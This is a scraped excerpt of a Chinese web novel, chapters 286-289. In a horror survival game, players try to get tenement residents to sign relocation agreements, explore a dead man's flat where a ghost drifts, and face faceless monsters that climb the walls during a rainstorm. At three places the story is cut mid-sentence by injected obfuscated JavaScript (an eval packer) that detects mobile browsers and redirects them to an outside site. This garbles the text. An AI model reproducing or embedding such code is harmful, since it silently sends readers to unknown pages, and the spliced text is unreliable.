两人顺着楼梯往下走,楼梯是露天的,踩着吱呀吱呀响。初与序往下看了一眼,从墙壁里渗出的水已经积了一层,大约有两厘米高了。 他们走出楼门,绕到筒子楼的背面。 这里的音乐声稍微小了点,但仍然能听到节奏。雨丝落在脸上,凉凉的。 随歌甩了甩头,感觉耳朵里的嗡嗡声好了点:“你刚才说啥?爬二楼?” “是的。”初与序抬头看向201窗户的方向。 随歌跟着抬头,摸了摸下巴:“这算不算私闯民宅?” “不算。”初与序面无表情,“我们是帮助邻居解决困难。” 286.筒子楼之雨 面前的筒子楼从底部到二楼,外墙有不少凸出的砖块,栏杆什么的,还有窗台,攀爬的落脚点不算少,上去并不困难。 初与序伸出手,抓住一块凸出的砖头,右脚蹬上粗糙的墙面,借力向上爬去。 随歌紧随其后,手脚并用开始往上攀爬。 两人都没费太大力气,初与序率先爬到二楼窗台下方,她伸手稳稳攀住窗户上沿。窗户关着,里面拉着窗帘,遮得严严实实,只能看见窗帘的绿色。震耳欲聋的音乐声冲出来,仿佛要撞破玻璃。 随歌也爬上来,踩在旁边的窗檐上,稳住身体。 初与序伸手推了推窗户,将窗户拉开,然后将里面的窗帘也向旁边一拉。 室内站着一个二十出头的年轻小伙子,穿着宽松T恤,正闭着眼随着狂暴的音乐在客厅中忘我地跳舞。屋子里放着吉他,还几个空啤酒盖。激烈的音乐从音响里传出来,一个男声在嘶吼: “他们追着羊,他们追着羊,他们追着羊跑——” “羊追着他们,羊追着他们,羊追着他们咬——” 随歌乐了:“哟,还是梅卡德尔的《寻找多莉》呢。” “……”初与序双手在窗沿一撑,利落地翻进屋内。她抱着胳膊,面无表情地看着那个还在闭眼转圈的小伙子。 小伙子浑然不觉,继续他的舞蹈,一个转身,又一个旋转。 然后,他转完圈,睁开了眼。 正好和面无表情盯着他的初与序对上了视线。 同时随歌也从窗户翻了进来,轻盈落地。 “我靠——!” 小伙子吓得弹了起来,连退好几步,惊恐地看着他们:“你们谁啊?!怎么进来的?!” 初与序被音乐声吵得头疼,她没回答,径直朝着小伙子身后的音响走去。 小伙子看着她朝自己走来,连连后退,语无伦次:“不是,这位姑娘,我、我虽然没对象,你长得也很好看,但我、我也不是4i啊!你不能非礼我!别过来!我真喊人了啊!” 初与序没停,直接绕开他,走到音响边干脆利落地拔掉了电源插头。 震耳欲聋的音乐声停下,世界安静了。 初与序直起身,瞥了惊魂未定的小伙子一眼:“神经病。” “吓死我了……”小伙子大大地松了口气,拍了拍胸口,但下一秒又警惕起来,“等等!不对!你们到底是谁?想干什么?” 随歌解释道:“兄弟,别紧张,我们是永盛拆迁公司新来的,住四楼。是这么回事,你楼上401的丁奶奶说你这儿音乐声太大了,吵得她老人家睡不好觉,腿脚又不方便下来。我们就帮她来看看,跟你商量商量,能不能稍微控制下音量,或者换个时间段?” “哦,是丁奶奶找你们来的啊。”小伙子听完,转了转眼睛,“可以啊,邻里之间互相体谅嘛,没问题。” 随歌正要松口气。 小伙子话锋一转:“不过呢,我上个礼拜刚买的新音响,就是被303漏水给泡坏了,我才换的这个。你们要真想让我不吵丁奶奶,也许,先帮我把301漏水的问题解决了呗?不然我这新音响要是再被泡了,我可没钱再买第三个了。” “303漏水,会滴到你201来?”初与序问。 “那可不是嘛,先滴到203来,水在天花板上蔓延,不就蔓到我201来了?”小伙子理直气壮道。 初与序:“……” 随歌:“……” 两个人一时都没说话,看着这个一脸理所当然的小伙子。 敢情在这儿等着呢。 小伙子继续道:“你们想啊,楼上漏水,那是客观问题,不解决根源问题,我关音响有啥用?万一过两天又漏了,泡了我的新音响,那我找谁说理去?所以啊,要想我不吵丁奶奶,你们得先让303把漏水问题解决了,这不就一劳永逸了嘛!大家互相理解,对吧?” 初与序和随歌听得一愣一愣的,随歌抬起手,做了个“打住”的手势:“行行行,打住。我们去303问问,如果303的漏水问题解决了,你必须关小音量,并且同意搬迁签字,没问题吧?” “当然!说到做到。”小伙子答应得很爽快。 两人离开201,往三楼走去。 找到303,随歌抬手敲门。 门内传来一个暴躁的女声,混着婴儿的哭声:“等一下!等一下——!” 过了一会儿,门被猛地拉开,一个怀里抱着个哇哇大哭的婴儿的妇女怒气冲冲地瞪着他们,劈头盖脸就是一顿骂: “敲敲敲!敲什么敲!没听见孩子哭吗?!我刚把她哄睡着!你们倒好,这一通敲,又醒了!哭成这样你们来哄啊?!懂不懂事啊!有没有点眼力见儿!这么大人了,不会等会儿再来吗?!真是晦气!” 初与序和随歌被骂得哑口无言,只能默默站着听。 妇女显然还在气头上,语速又快又急,用方言好一顿数落。 等她终于骂累了,瞪着眼睛问:“行了!说吧,你们来干什么?!” 初与序等她平静下来,才开口:“您好,很抱歉打扰了您的孩子。我们是拆迁公司的工作人员,楼下201的住户反映,说您家漏水,泡坏了他的音响。我们过来了解一下情况,看看能不能帮忙解决。” 妇女一听,声音又拔高:“漏水?!我家里好好的,哪里漏水了?!哦,是卫生间那边吧?那根本不是我家的问题!那是401的空调水管坏了,水倒灌下来的!你们要找,找401去!别来烦我!” 说完她狠狠甩上门,门板差点拍在两人脸上。 从401丁奶奶,到201小伙子,再到303妇女,又到401丁奶奶,兜了个大圈子,耍我们呢? 随歌抹了把脸:“好家伙,忙活一上午,啥也没吃,一家正经的没谈下来,尽在楼梯里上蹿下跳了。等这副本打完,我指定瘦成骨灰。” 初与序道:“他们根本没打算签字,一直在拖时间。” “那现在咋办?” 随歌刚问出口,隔壁304的门突然被从里面大力推开! 唐玉兰和路耀被一股力道推得踉跄出来,路耀更是直接摔在地上。 门里传来一个男人粗声粗气的吼声:“你们莫要再来了!想让我搬家?除非我死!” “砰——!”门又被狠狠摔伤。 走廊里,四个吃了闭门羹的人对视着,气氛有点尴尬。 路耀从地上爬起来,摸了摸后脑勺,小声说:“……好巧啊。” 唐玉兰撇了撇嘴:“看来你们上午也一无所获?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215500|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可不是嘛。”随歌无奈摊手,“这楼里的人怎么回事,拆迁拿钱搬新家,不是好事吗?干嘛一个个跟要了命似的。” “谁知道呢。”唐玉兰随口应了一句,看向随歌,“对了,听说你早上和411、412那两个人打起来了?” 路耀在一边小声补充:“那两个人确实很傻逼……” 随歌点点头,没掩饰:“是的。” 唐玉兰左右看了看,确认附近没其他玩家,压低声音:“你们队……咳,你们可能不太关注永冬之城其余玩家,但那两个人是我们公认的烦人精,之前就整天盯着江队长。这次副本他们肯定不会消停,八成会一直找你们麻烦。” “听我一句,白天在其他玩家面前,尽量不要和他们正面冲突,对你们没好处。副本里人性复杂,谁知道别人会怎么想。” 路耀在一旁点头:“如果你们需要……嗯,想‘回敬’一下,又不能明着来,晚上可以来302找我。我知道不少比较损的办法。” “少出馊主意。”唐玉兰拍了他一下,转向初与序和随歌,摆了摆手:“行了,你们自己小心。走了。” 说完,她带着路耀往楼上走。 随歌看向初与序,叹了口气:“所以咱们下午还要一家一家这么敲下去?” 初与序想了想,道:“分开吧,你继续按顺序敲门,试试看能不能从其他住户那里问出点有用的,或者碰碰运气。我直接去当年楼长住的701,弄清楚他们到底为什么这么抗拒拆迁。” 随歌比了个“OK”的手势:“明白,我去跟这些钉子户继续磨嘴皮子。” 初与序转身要走,又侧过头看了他一眼。 随歌笑了笑:“放心吧,要是再碰到什么人挑衅,我保证不跟他们争,我拔腿就跑。” 初与序没再说什么,转身朝着楼梯方向走去。 可能是因为楼层高,又涉及当年的死亡时间,暂时还没人来七楼,整个走廊空荡荡的,只有她一个人。 701在走廊尽头,初与序走到门前,敲了敲门。 半天没有回应,里面似乎没有活人居住的动静。 她又敲了几下,等了半晌,依旧一片死寂。门也是锁着的,初与序弯腰从地面上捡起一根铁丝,将铁丝一端弯出一个小钩,伸进门锁里轻轻转动,打开了门。 她握住门把手,向内一推。 门刚开一条缝,积攒了不知多少年的灰尘便扑面而来,呛得初与序侧过脸,抬手掩住口鼻咳嗽了几声。光线照了进去,能看见空气中飞舞的尘粒。 她退后几步,等屋内的尘埃稍微落定,才重新走进去。 屋内的布局和她住的409差不多,都是老式筒子楼的标准户型。客厅连着卧室,有厨房厕所。只是这里空置了很久,所有家具都蒙着厚厚的灰尘。 初与序在客厅转了一圈,又转身走进卧室。 卧室里摆着一张双人床,靠墙立着一个大衣柜,旁边是一张书桌。 床头柜上放着一个相框,玻璃也蒙了灰。初与序走过去拿起相框,用袖子擦了擦玻璃表面。 照片里是一对中年男女,并肩站在一片草地上,挽着胳膊。男人面容醇厚,女人温婉,笑得开怀。看背景和穿着像是很多年前拍的了。应该就是老张和他的妻子。 287.筒子楼之雨 初与序将相框放回原位,正想拉开书桌抽屉查看,后背忽然一凉,一股风带着寒意从她身后快速掠过! 她猛地转身,手已经按在了腰间短刀上。 后面什么都没有,卧室门还是关上的,纹丝不动。房间里除了她自己,空无一人。 初与序站在原地待了几秒,皱了皱眉,转回身打算继续查看书桌。 一个身影突然出现在她面前,几乎要贴到她的脸! 初与序后退一步,下意识再次拔刀,就要刺出。但刀尖刺到一半,她发现不对劲,硬生生停住动作。 挡在她面前的是一个半透明的亡魂,穿着碎花连衣裙,面容和照片上的女子一模一样,只是眼神空洞,直勾勾地看着前方,脸上没有表情。 除了身体是半透明的,脚不沾地之外,她看起来并不恐怖,也没有寻常厉鬼狰狞的样子。就那么呆呆地飘在那里,仿佛根本没看见眼前有这么一个大活人初与序。 看这状态,似乎没有神志,也没有攻击性? 初与序试探开口:“您好?” 亡魂没有任何反应,也没有看初与序一眼,只是开始慢慢地在卧室里飘荡起来。穿过书桌,穿过床头,漫无目的。 初与序等了片刻,确认这亡魂的确没有威胁,才将短刀收回刀鞘。她上前一步,伸手拉开了书桌最上层的抽屉。 抽屉里也落满了灰尘,她拨开几支钢笔,将下面的文件拿了出来,弹了弹灰尘。 最上面一份文件抬头印着「永安县棉纺厂宿舍拆迁动员首次会议记录」,日期是1998年5月17日。记录是用钢笔手写的,详细列出了参会人员、讨论事项。 初与序大概扫了几眼,核心内容是:政府规划,此地块需拆迁重建,永盛公司负责动员搬迁,初步拟定了补偿方案,但会上已有部分住户明确表示不满,认为补偿标准过低、搬迁安置地点不理想等等。 初与序翻到背面。 背面空白列出了一串名字和房号,其中几个名字被人用红笔中指圈了出来: 「504老渔」 「602曹建国」 「201赵小峰」 「303刘红梅」 …… 名字旁边用红笔写着备注:「反对最激烈,需重点沟通」。 这几份文件中间还夹着一张拍立得,下方写着:「1999.6.14」。 拍立得上,老张穿着一件白色衬衫,站在楼顶靠近天井的护栏旁,正侧头和身边几个人说着什么,皱着眉神情严肃。他身边围着六七个人,有男有女。背景里天阴沉沉的,远处晾晒的衣物在风里飘着。 初与序将这些东西放进了面板,推回抽屉,转身走出卧室。 客厅里,老张妻子的亡魂不知何时飘到了沙发边,呆呆地坐在沙发上,望着窗外下着小雨的天气。 初与序走到门口,手已经搭在了门把手上,回头看了亡魂一眼:“阿姨,我走了。” 亡魂毫无反应,初与序拉开房门,走了出去。 401门口,随歌抬手再次敲响门。门过了一会儿被打开,丁奶奶探出半个身子,皱着眉:“怎么又是你?事情都办好了?” 随歌问:“丁奶奶,请问您家……装空调了吗?” 丁奶奶奇怪地看了她一眼,回道:“就我一个人住,我又不怕热不怕冷,装么子空调咯?浪费钱。” 随歌一愣:“啊?没装空调?” 那303说的“401空调水管漏水”是咋回事? 老人看他这反应:“那你就是没解决我的问题?走走走,赶紧走,莫在这里烦我!” 门又一次在他面前重重关上,随歌站在门外一脸懵。 没装空调?那水是从哪里漏出来的?总不可能是从什么《怪奇物语》的逆世界里流出来的吧? 他在走廊上站了一会,想了想,然后抬起右手,一把竹扇凭空出现在他手上。他手腕一抖,展开扇面,对着面前的空气轻轻一挥。 扇面上有水光流转,紧接着,走廊的空气变得更加潮湿,一缕缕水汽开始凭空出现,缓慢地连成串。 随歌跟着这串水汽走,水汽沿着四楼走廊飘了一段,然后拐向楼梯,向上延伸,来到五楼,最终停在504房门前。 门缝下正往外渗着湿气,和随歌用扇子引出来的水汽交融在一起。 504门口已经围了四五个玩家,正对着门指指点点,低声议论。 随歌手中竹扇又轻轻一挥,那些水汽散去。他看向其他玩家:“怎么了?都围在这儿?” 一个玩家回过头,指了指504的门:“别提了,我们按分配来敲五楼的门,好几户都反映说这家漏水,搞得他们墙皮都掉了。我们来敲门,里面的人怪得很,死活不开,说话也阴阳怪气的。” 另一个玩家补充:“是啊,问什么都不说,就说让明天再来。什么怪脾气的NPC,纯粹耽误时间。” 随歌听完,上前一步敲了敲门。 里面传来一个不耐烦的男声:“今天不见客,明天再来。” 门外的玩家们互相看了看,有人耸肩:“得,又是这句。散了散了,明天再说吧,跟个NPC较什么劲。” 几个人嘀嘀咕咕地转身走了,随歌盯着504紧闭的门开了几秒,没再尝试敲门,也转身下了楼,重新回到303门口,再次敲门。 门很快被拉开,那个妇女道:“又干嘛?!有完没完?!” 随歌赶在她开骂前开口:“您家孩子这次没被我吵醒吧?” 妇女瞪着她:“我就想骂你不行啊?!漏水问题解决了没有?” 随歌脑子飞快地转了一下,为难道:“我刚去504问了,他说不是他家,可能是楼下的水泵房老化了,管道有渗漏,水顺着墙壁往上漫的。” “水泵房……”妇女重复道,脸色变了一下。 随歌见自己猜对,立刻追问:“水泵房怎么了?是不是之前被人故意破坏过?您是不是知道点什么?” 妇女猛地摇头,改口道:“不知道!我什么都不知道!你们拆迁的事吧?签!我签!烦死人了,赶紧拿协议过来,签完你们赶紧走,别再来问我了!” 她一把从随歌手里抢过《搬迁同意书》,看都没看,抓起圆珠笔潦草地签下自己的名字,然后把协议往随歌怀里一塞,砰地关上了门。 随歌站在门外,挠了挠头,转身离开。 又马不停蹄地跑了一下午,磨破了嘴皮,总算让401的丁奶奶和20 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215501|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 1那个听摇滚的小伙子也在协议上签了字。外面的雨下了一整天,还越来越大,砸在天井的屋檐上,噼啪作响。 晚上六点左右,玩家们陆陆续续来到三楼走廊汇合。 随歌到的时候,初与序已经在了。她没有靠近玩家,独自一人靠在栏杆边,低着头看着手中一张拍立得。 随歌来到初与序身边,侧头去听走廊上玩家们的说话声。 “……别提了,我下午跑了四户,一户都没签成。那老太太拉着我唠了两个小时家常,净说些几十年前的破事,一提签字就装聋,精得很。” “你好歹还能进门,我敲开那户,刚说‘拆迁’,直接一盆洗菜水泼过来!” “我这边更绝,门都不开,隔着门骂。” “今天有人签成功吗?除了唐姐那边好像签了两户?” “我签了611,但那小孩儿看着就不对劲,签完字眼神直勾勾的……” “对了。我和你们说,411和412那两个傻逼下午跟402一个大爷对骂了快半个小时,差点抄家伙打起来!要不是唐玉兰和路耀拦着,指不定就要怪物暴走!” “他们俩有病吧?跟NPC还能打起来?离他们远点……” 交流是有的,但大多都是抱怨,没几个人主动提起什么线索,全互相提防着。 随歌抱着胳膊:“第一天,没人死已经算很幸运了。我还签了三户哦。” 初与序“嗯”了一声,将手里那张从701带出来的照片递给他,将名单展开。 周围声音嘈杂,他们站在角落里,倒也不怕交流时被人听见。 两人将信息简单对了一下,初与序指了指名单上那几个被圈出来的名字:“老张,1999年暴雨夜死在天井。这几乎人家当年反对最激烈,其中就包括我们今天拜访的201和303。” 随歌接过照片仔细看,初与序伸手指了指其中一个男人。那人微微侧着头,目光落在老张身上,表情有些阴沉。 “这是504的老渔。”初与序又拿出楼层分配表,将上面504住户的证件照和拍立得上的人对了一下,“应该是同一个人,他在照片上,一直盯着老张。” “按照正常副本剧情的尿性,老张的死肯定不是意外。”随歌道,“住户们‘见死不救’可能都说轻了,搞不好,就是谋杀。” 他话音刚落,身后玩家人群里忽然有个声音朝他们这边喊: “喂!你们两个!有什么线索别藏着掖着,说出来大家一起分析——” 突然只听“啪!”一声,像是开关跳闸的声响,从走廊尽头传来。 紧接着,从301开始,302、303、304……整条三楼住户的灯一盏接一盏熄灭,同时楼上楼下,从四楼到七楼,再到下面两层,整栋筒子楼所有的灯光齐刷刷灭了! 月光被建筑挡着,根本找不见这U型天井深处。整栋楼一片漆黑,啥也看不见,暴雨还在哗啦啦下着。 “怎么回事?!” “发生什么事了?!” “谁?谁碰我了?!” 玩家们炸开了锅,各层楼的房门也被打开,住户们的抱怨声也掺杂进来,一片混乱。 初与序和随歌安静地站在原地没动。 288.筒子楼之雨 “都别乱动——!!” 唐玉兰拔高声音大喊,紧接着一束白光从人群中央亮起,刺破了黑暗。唐玉兰举着一个大号手电筒,继续喊道:“有手电筒的都打开手电筒!可能是全楼电缆进水短路了,别慌!” 大部分玩家冷静了一些,很快几束手电筒光线亮起,勉强将三楼走廊这一小片照亮了些。透过光束,能清晰地看到外面的暴雨如水帘般倾泻。 初与序走到栏杆边,举着手电筒俯身向下望去。 手电筒的光扫向天井下方,积水已经涨到了一楼窗户的位置,水面正泛起一圈圈涟漪,像是水底下有什么东西,但根本看不清。 唐玉兰吼道:“有手电筒的跟我走!去找电箱!其余人和路耀待在这里,别乱动,也别乱跑!暴雨天太危险了!” 她说完举着手电通过朝楼梯走去,立刻跟上七八个手里有光源的玩家。 初与序和随歌从面板里取出雨伞,也迈步跟上下楼找电箱的队伍。 一行人举着伞往下走,脚下越来越湿滑,他们不敢走得太快。到二楼转角时,能看见一楼一大半台阶已经被水淹了,水黑咕隆咚的,不知道是因为光线太暗,还是水本身就是这种颜色。 “水这么深了?”有人惊呼。 没办法,只能下水。 初与序弯下腰,将工装的裤腿卷到膝盖以上。随歌在她旁边同样卷起裤脚,吐槽道:“这破雨就没停过。” 唐玉兰道:“我进一楼楼道里面找找看,你们几个去一楼外墙、楼梯转角、还有天井边上那些犄角旮旯的地方转一转,看看电箱在哪儿。走路都慢一点,看着脚下,小心水里有什么东西。” 七八个人分散开来,举着伞小心翼翼踏入积水中。 初与序撑开黑伞,也迈步踏入水中,水冰凉刺骨,已经能漫过她的膝盖。 随歌提着卷到膝盖的裤腿也跟过来:“这水太深了,裤子卷起来也没用啊,我也没带换洗衣服。” “去外墙找一找。”初与序道。 随歌应了一声,跟着她离开天井内部,绕到筒子楼外侧。 外面的积水果然浅了不少,只刚刚漫过脚踝,暴雨噼里啪啦打在伞面上。四周隔着雨幕黑漆漆一片,手电筒只能照亮面前一小片墙壁,两人只能举着手电一点点摸索墙面。 初与序正用手电光照着一片砖墙,突然隐约听见一声嘶吼,好像是从筒子楼天井的方向传来。但瞬间就消失了,像是错觉。 她看向随歌:“你听到什么动静了吗?” “没有啊。”随歌侧耳听了听,摇摇头,“除了雨声还是雨声,太吵了。” 初与序道:“继续找吧。” 两人绕着墙体侧面又找了一阵,终于在一处墙角找到了一个锈迹斑斑的铁皮箱子。初与序停下,举起手电筒:“在这里。” 随歌踩着水走过来,电箱不小,铁门紧闭着,上面的锁已经锈死了。 初与序伸手抓住门把手,用力向外一拉。 铁门被硬生生拽开,下一秒,一大股水从箱子里涌了出来,泼了两人一身。 紧接着箱子里传来一阵噼里啪啦的爆响,几簇电火花猛地蹿起,又迅速熄灭。两人连忙向后退去,才没被那乱窜的电火花溅到。 “我靠!”随歌骂了一句,甩了甩被打湿的袖子,“这什么破电箱,早就泡水短路了吧!” 两人身上都湿了大半,虽然这里是夏天,但被水浸湿,还是冷得打哆嗦。 初与序用手电照了照电箱内部,里面线路老化得一塌糊涂,还在冒青烟。她道:“算了,电路进水短路,我们修不了。先回去,等明天天亮NPC应该会来处理。” 两人深一脚浅一脚往回走,又回到筒子楼天井内部。 就这么一会儿,天井里的积水又涨了,已经从膝盖漫到了大腿。其余玩家等在水中,唐玉兰见他们回来,忙问:“怎么样?找到了吗?” 初与序道:“电箱找到了,但进水短路,炸了。我们修不了。” 唐玉兰叹了口气:“那就没办法了,这水涨得太快了,先回去,待在这里太危险了。” 一行人不再耽搁,继续朝着楼梯方向移动。积水阻力很大,行走缓慢。 初与序和随歌走在队伍中间偏后的位置,刚走没几步,初与序身后就传来一阵惨叫: “啊啊啊——!!!” 初与序连忙回头,将手电光照过去。 走在她身后的一个男玩家向下一沉,像是被水底什么东西拖住了腿。他周围的水面翻腾起来,一大团一大团血迹晕染,在水里蔓开。 “有东西!水里有东西咬住了我的腿了!”那玩家惊恐道,“它在拽我!它要把我拽下去!救命——!!” 所有人都被吓了一跳,围拢过来。 不止那个玩家周围,天井中间的积水水面都开始冒起气泡,像是水底下有什么东西在游动,朝他们这边靠拢,不止一个。 可水太深了,除了水花,根本看不清下面有什么玩意儿。 初与序站在原地没动,冷冷地盯着那个玩家腿边翻腾的水面。 那玩家又猛地向下一沉,水快要没到胸口,没人敢上去拉他,眼看着整个人就要被拖入深水。 初与序忽然拔出刀,对着他腿边的水面,手起刀落,就听见水底下发出一声嘶吼,那玩家腿上力道一送,整个人向后倒去,被随歌扶住。 随歌举着手电筒照向他的小腿,皮肉上有一个碗口大的血窟窿,深可见骨,往外冒着血。 “我的腿!我的腿!”玩家疼得脸都白了,语无伦次。 周围其他玩家看到那伤口,齐齐倒吸一口凉气,惊呼出声。 “小心!”随歌忽然抬头大喊。 刚才那片水面哗啦一声响,一道黑影破水而出,直扑初与序! 初与序后退半步,手中短刀横斩,怪物的脖颈上立刻出现一道伤口,黑色的黏液喷射出来。 怪物吃痛,发出一声嘶鸣。 玩家们抓着机会,拼命向楼梯的方向跑去。初与序也后退几步,手电光终于完整照清了怪物的全面容。 这东西有两三米高,四肢和脖子细长,头很大,是扁平的,光滑一片没有五官和面孔。刚刚被初与序刺的伤口在肉眼可见地愈合,很快就恢复了。 接着,水面上不同位置接二连三地爆开水花。一只,两只,三只……足足七八只怪物从水下冒了出来,齐刷刷转向玩家们的方向! 路耀听到了下面的惨叫,从三楼探出身子往下看:“队长!下面怎么——我操! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215502|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这、这是什么鬼东西?!” 唐玉兰抬起头吼道:“让上面所有人立刻回自己房间!锁好门!找地方躲起来!快!!” 吼完,她看向身边几人:“别愣着了!快上去!” 玩家们哪里还顾得上打伞,纷纷将伞一扔,拔腿就朝着楼梯狂奔。初与序将黑伞收回面板,和随歌也往楼梯上跑去。 身后的怪物们发出嘶吼,但并没有追击这些人,而是朝着筒子楼的外墙走去。 初与序和随歌冲上楼梯,可到了二楼走廊,他们脚步都是一顿。 那些白天死活不肯开门的住户纷纷打开了房门,面无表情地从屋里走了出来,在走廊里漫无目的地游荡。 “什么鬼?”随歌随手抓住一个年轻姑娘:“姑娘!外面危险!快回屋子里去!” 那姑娘却像是没听见,抽回手臂,继续沿着环形走廊往前走,像是在梦游一样。 两人立刻明白这些NPC此刻没有了正常意识,怪物应该也不会攻击他们。他们避开这些NPC,跑向四楼。 回到409,初与序将门反锁。她不确定这扇老旧的门板能不能挡住怪物,但眼下总比没有好。 她来到客厅窗边,拉开透明的玻璃窗。暴风雨和狂风劈头盖脸灌了进来,她探头向下望去。 隔壁410的窗户也没推开,随歌的脑袋探了出来,黄头发被风吹得乱飞,扯着嗓子朝这边喊:“什么情况?!那些玩意儿上来了没?!” 他话落,那些怪物便出现在了楼下。 它们四肢并用,爪子死死扣住外墙,开始向上攀爬。其中两只率先爬到了一楼几个玩家的窗外,窗户关着,那些玩家惊恐地躲在屋内。 怪物在窗外停顿了一秒,紧接着扬起扁平的脸,狠狠撞向窗户玻璃! “咚!咚!咚!” 玻璃窗被震得作响,怪物们一下又一下撞击着。 楼上有玩家尖叫道:“它们在干什么?!” 随歌喃喃道:“它们不会是要一家一家敲窗户吧?” 一楼的玩家当然不敢开窗,全都缩在屋内瑟瑟发抖。怪物用脸撞击了一会儿,忽然停下来,直愣愣地扒在窗外,一动不动。 楼上一人惊喜地喊:“诶?停了?好像只要不开窗就没事?” 他话刚落,楼下一只怪物猛地扬起手臂,狠狠扎下,刺穿了玻璃! 玻璃碎裂,那只怪物将窗口扒开更大的缺口,钻了进去。屋里传来玩家的惨叫声,越来越微弱,很快就没了声息。 其他还没被破窗的一楼玩家亲眼目睹这一幕,吓得魂飞魄散,有人手忙脚乱去开窗户。 窗户刚被推开一条缝,窗外的怪物立刻探入手臂,一把抓住玩家,将人从窗户里拖拽出来! “啊——!!救命——!!” 被拖出的玩家在半空中挥舞手脚,发出呼喊,下一秒就被怪物狠狠扔向下方的地面上,发出剧烈的撞击声,水花溅起。其余几只怪物飞速冲过去,开始分食那些玩家。 一时间永安楼响起玩家们的惨嚎,混杂在暴风雨中,令人毛骨悚然。 那些杀完人的怪物没有停留,继续沿着墙壁向二楼爬去。 二楼的玩家们吓得面无人色,慌忙关上窗户,缩在屋子里不知如何是好。 289.筒子楼之雨 就在二楼玩家惊慌失措时,其中一扇窗户忽然再次被拉开。 一个玩家探出身子,手里拉着一张长弓,弓弦拉满,对着正扒着隔壁窗户上的怪物射出一箭! 长箭射穿了那怪物细长的脖子,黑色的黏液从伤口里涌出,怪物动作一顿,仰头发出嘶鸣。楼上下所有还活着的玩家都屏住了呼吸,死死盯着那只中箭的怪物。 下一秒,那只怪物伸出胳膊,握住脖子上的箭杆,向外一拔,随手扔进下面。它脖子上的血窟窿开始飞快愈合,眨眼间就恢复如初。 它快速伸出手臂,一把抓住了那玩家的衣领,狠狠惯向下方的水泥地! 那玩家挣扎着想爬起来,立刻被另外几只怪物围住,几秒过后,那片爆开一团血雾,很快又被水流冲走。 楼上的玩家们看得清清楚楚,纷纷将手中的武器收了回去,生怕激怒这些怪物。 初与序回到屋内,打开房门趴在栏杆上向下望去。 对面二楼的走廊上,又有几个玩家觉得屋子里不安全,猛地推开房门冲了出来,想沿着环形走廊跑到楼梯口。 但他们没冲出几步,几只怪物竟然从窗户钻进了屋内,又追到走廊,几步就追上了逃跑的玩家,轻易将他们扑倒在地,开始疯狂啃食。 惨叫声格外凄厉,而那些在走廊上游荡的NPC对这一幕视若无睹,依旧在不远处走来走去。 初与序又关上门,重新回到窗边。 楼下,那些怪物们继续向上爬行,朝着三楼出发。 隔壁,随歌急得转圈圈:“我靠!开窗会死,不开窗被破窗,逃到走廊上也会被追出来干掉!打也打不死!这他妈无解啊!” 他猛地转向初与序:“怎么办怎么办怎么办?” 三楼301和302的窗户被猛地推开,唐玉兰和路耀选择正面硬刚,唐玉兰的武力值顶尖,真的暂时将怪物挡在窗外。路耀在她的掩护下,也勉强能躲开怪物的袭击。 但更多的怪物绕开他们,开始向着四楼攀爬。 随歌把窗户关上又打开,打开又关上,不知所措。 四楼411和412两个玩家也吓破了胆,他们的窗户绕了一圈刚好就在初与序和随歌右边不远处。411的男人扯着嗓子朝这边喊:“喂!你们俩!不是挺厉害吗?!快他妈想办法啊!它们要上来了!” 随歌正烦着,咬牙切齿吼了回去:“喊什么喊!有本事你自己想啊!站着说话不腰疼!” 412那个也吼:“你们在永冬之城不是牛逼哄哄的吗?现在装什么死?!” 随歌:“滚啊!再叨叨信不信我把怪物引你们那边去!” 两边正隔着几扇窗对骂,初与序却像是没听见。 她忽然伸出手扒住自家409的窗框,然后向上一提,再向外一拽,将窗户拆了下来,往地上一扔,狂风暴雨立刻全部灌入屋内。 周围玩家:“???” 411难以置信地吼:“你他妈疯了吗?!拆窗户干什么?!嫌死得不够快?!” 随歌愣了几秒,忽然明白过来:“我靠!聪明啊!” 他也立刻上手,抠住410的窗户框,将整扇窗户卸了下来。 就在这时,爬得最快的一只怪物已经抵达四楼初与序窗外,它习惯地扬起头颅,朝着窗户的位置狠狠撞去。 头却撞了个空,整个上半身因为惯性往前一倾,差点失去平衡。 怪物愣了一下,扭着脖子确认什么,又试探着撞了两次,依旧只撞到空气。 初与序抱着胳膊站在窗口后,面无表情地看着它。 怪物:“……” 几秒后,它发出一声低吼,但竟然没有从空窗口闯入,放弃了409,朝着五楼继续爬去。 随歌激动地差点跳起来:“我靠!真的有用!它们不攻击没有窗户的!” 411和412那两个玩家也看到了全程,先是目瞪口呆,随即狂喜。 “快快快!拆窗户!”411的男人也顾不上对骂了,手忙脚乱地和同伴拆卸自家的窗户。 